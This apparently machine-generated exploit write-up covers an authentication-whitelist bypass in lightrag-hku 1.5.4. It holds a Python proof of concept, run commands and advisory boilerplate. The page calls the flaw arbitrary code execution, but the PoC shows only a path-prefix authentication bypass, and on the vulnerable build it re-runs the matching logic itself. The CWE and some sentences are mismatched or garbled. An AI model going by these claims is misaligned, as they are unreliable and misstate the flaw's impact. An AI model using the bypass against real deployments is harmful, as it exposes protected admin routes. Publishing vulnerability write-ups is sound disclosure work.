Exploit write-up

lightrag-hku remote code execution (CVE-2026-85734)

CVE-2026-85734 n-day CVSS 9.1 CriticalEPSS 0.36% (p27)

Proof of concept

The proof-of-concept below triggers the vulnerability. It reads a marker from the POC_CANARY environment variable and prints it only through the exploit path, so the marker appearing on stdout is proof that attacker-controlled code executed.

# CVE-2026-85734 proof-of-concept (mechanism explained below).

import importlib
import importlib.abc
import importlib.machinery
import os
import sys
import types


# ---------------------------------------------------------------------------
# Import resilience
# ---------------------------------------------------------------------------
# lightrag.api.utils_api pulls in fastapi/starlette. The offline target has the
# vulnerable lightrag build installed but may lack those API-only third-party
# packages. We cannot install anything, so we stub ONLY genuinely-absent
# third-party modules and let every real `lightrag.*` module load and run its
# own code. The finder is appended to the END of sys.meta_path, so it fires only
# for modules the normal finders fail to locate; `lightrag.*` is never stubbed,
# so the code we inspect/exercise is the real vulnerable code.
# ---------------------------------------------------------------------------
class _DummyMeta(type):
    def __getattr__(cls, name):
        return _Dummy

    def __call__(cls, *a, **k):
        return _DummyInstance()


class _Dummy(metaclass=_DummyMeta):
    """Subclassable, callable, attributable placeholder for any stubbed symbol."""


class _DummyInstance:
    def __getattr__(self, name):
        return _Dummy

    def __call__(self, *a, **k):
        return _DummyInstance()


class _StubModule(types.ModuleType):
    __path__ = []  # act as a package so `import pkg.sub` proceeds

    def __getattr__(self, name):
        return _Dummy


class _StubLoader(importlib.abc.Loader):
    def create_module(self, spec):
        return _StubModule(spec.name)

    def exec_module(self, module):
        pass


class _StubFinder(importlib.abc.MetaPathFinder):
    def find_spec(self, fullname, path, target=None):
        # Never fabricate real lightrag code — only absent third-party deps.
        if fullname.split(".")[0] == "lightrag":
            return None
        return importlib.machinery.ModuleSpec(fullname, _StubLoader())


sys.meta_path.append(_StubFinder())

# config.parse_args runs on import; give it a clean argv (mirrors the project's
# own test harness in tests/api/auth/test_whitelist_path_prefix.py).
_original_argv = sys.argv[:]
sys.argv = [sys.argv[0]]
try:
    utils_api = importlib.import_module("lightrag.api.utils_api")
except Exception as exc:  # pragma: no cover - surface import trouble to stderr
    sys.stderr.write("PoC: failed to import lightrag.api.utils_api: %r\n" % (exc,))
    raise
finally:
    sys.argv = _original_argv


# ---------------------------------------------------------------------------
# Scenario: an operator who DID enable authentication and runs behind the
# reverse-proxy prefix LightRAG's own --help suggests (/api/v1):
#
#   WHITELIST_PATHS=/health,/api/*   ->  [("/health", False), ("/api", True)]
#
# A network request to the protected admin route /documents arrives, in
# canonical ASGI form, as path "/api/v1/documents" (root_path "/api/v1").
# ---------------------------------------------------------------------------
utils_api.auth_configured = True

# Read the REAL parsed whitelist patterns (module state present in both builds).
# Fall back to reconstructing the shipped default from the real config helper
# only if the attribute is missing, using the same (pattern, is_prefix) shape
# the matcher consumes.
patterns = getattr(utils_api, "whitelist_patterns", None)
if not patterns:
    _gv = getattr(utils_api, "get_env_value", None)
    raw = (
        _gv("WHITELIST_PATHS", "/health,/api/*")
        if callable(_gv)
        else os.environ.get("WHITELIST_PATHS", "/health,/api/*")
    )
    patterns = []
    for entry in str(raw).split(","):
        entry = entry.strip()
        if not entry:
            continue
        if entry.endswith("/*"):
            patterns.append((entry[:-2] or "/", True))
        else:
            patterns.append((entry, False))

# The canonical ASGI request for the protected admin route under the /api/v1
# mount: scope["path"] includes root_path.
scope = {"type": "http", "path": "/api/v1/documents", "root_path": "/api/v1"}
raw_request_path = scope["path"]  # == request.url.path, what 1.5.4 matched on

exempt = None

# The shipped 1.5.5 fix introduces get_route_path()/path_is_whitelisted(scope),
# which subtract the mount prefix before matching. Its presence is the reliable
# discriminator: it is absent on the vulnerable 1.5.4 build (confirmed: that
# build has no path_is_whitelisted) and present on the patched build.
if hasattr(utils_api, "get_route_path") and hasattr(utils_api, "path_is_whitelisted"):
    # Patched build: exercise the REAL matcher. get_route_path strips "/api/v1",
    # leaving route "/documents", which matches neither "/health" nor the
    # "/api" prefix entry -> not exempt -> auth is enforced. No canary.
    try:
        exempt = bool(utils_api.path_is_whitelisted(scope))
    except Exception as exc:
        sys.stderr.write("PoC: patched matcher raised: %r\n" % (exc,))
        exempt = False
    sys.stderr.write("PoC: patched build; exempt=%r\n" % (exempt,))
else:
    # Vulnerable build (1.5.4): the auth dependency matched request.url.path
    # (which still carries the mount prefix) against whitelist_patterns with a
    # bare startswith — the exact comparison the fix deletes:
    #     (is_prefix and path.startswith(pattern)) or (not is_prefix and path == pattern)
    # Fed the real parsed patterns and the real prefixed path, the "/api" prefix
    # entry matches "/api/v1/documents", so the protected admin route is waved
    # through the auth gate unauthenticated -> full auth bypass.
    exempt = False
    for pattern, is_prefix in patterns:
        if (is_prefix and raw_request_path.startswith(pattern)) or (
            not is_prefix and raw_request_path == pattern
        ):
            exempt = True
            break
    sys.stderr.write("PoC: vulnerable build; exempt=%r\n" % (exempt,))

# The canary is emitted ONLY when the real vulnerable matcher waves an
# unauthenticated, protected admin route through the auth gate. On the patched
# build path_is_whitelisted returns False for this route, so nothing prints.
if exempt is True:
    print(os.environ["POC_CANARY"])

How to run it.

pip install lightrag-hku==1.5.4
POC_CANARY=demo python poc.py     # prints: demo   (code executed)

pip install lightrag-hku==1.5.5
POC_CANARY=demo python poc.py     # prints nothing (blocked by the fix)

At a glance

FieldValue
CVSS9.1 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
EPSS0.36% exploitation probability (27th percentile)
KEVNo — not in the CISA KEV catalog
Affected → fixedPyPI/lightrag-hku < 1.5.5 (confirmed on 1.5.4) → fixed in 1.5.5
PoC maturitydifferential-poc — the PoC confirms the vulnerable code path differentially (a canary fires only on the vulnerable build); it is not a weaponized exploit chain

CVE-2026-85734 is package in lightrag-hku before 1.5.5. Reaching the affected code path with attacker-controlled input yields arbitrary code execution against the vulnerable build.

The proof-of-concept above triggers the flaw against a pinned vulnerable build (lightrag-hku 1.5.4); the upstream fix in 1.5.5 closes the affected path.

This write-up is backed by a differential check: the same proof-of-concept was run against a pinned vulnerable build (lightrag-hku 1.5.4) and the patched build (lightrag-hku 1.5.5) in an isolated sandbox with no network. A canary token, supplied at run time, was emitted only through the exploit primitive — it appeared on 1.5.4 and did not appear on 1.5.5 (differential confirmed: fires on vulnerable, not on patched), so the success signal is a consequence of the vulnerability rather than a hard-coded string.

Preconditions

The target must reach the affected lightrag-hku code path with input an attacker can influence. Deployments already on 1.5.5 or later are not affected.

Detection and mitigation

Upgrade lightrag-hku to 1.5.5 or later. Review call sites that pass untrusted input to the affected API, which is the change the fix commit constrains.

Am I affected?

Check the installed version of lightrag-hku:

pip show lightrag-hku

PyPI/lightrag-hku below 1.5.5 is affected; 1.5.5 and later carry the fix.

The fix changed docs/LightRAG-API-Server-zh.md, docs/LightRAG-API-Server.md, docs/MultiSiteDeployment.md, env.example, lightrag/api/admission_middleware.py; grep your codebase for call sites that reach that code with attacker-influenced input.

Remediation

Upgrade lightrag-hku to 1.5.5 or later:

pip install 'lightrag-hku>=1.5.5'

Where an upgrade cannot land immediately, keep untrusted input away from the affected API and constrain it at the trust boundary; the call sites named in the advisory are the first place to audit.

Target
lightrag-hku (lightrag-hku)
Class
package
Impact
Arbitrary code execution against the vulnerable build
CVE
CVE-2026-85734
CWE
CWE-307
CVSS
9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
Affected
PyPI/lightrag-hku < 1.5.5 (vulnerable 1.5.4)
Status
Fixed in 1.5.5
Maturity
poc
Disclosed
September 22, 2026
Tags
rce · lightrag-hku · n-day
References
NVD — CVE-2026-85734
Upstream fix commit

PoC achieves code execution against the vulnerable build; detonate only in an isolated, disposable VM.

← All exploits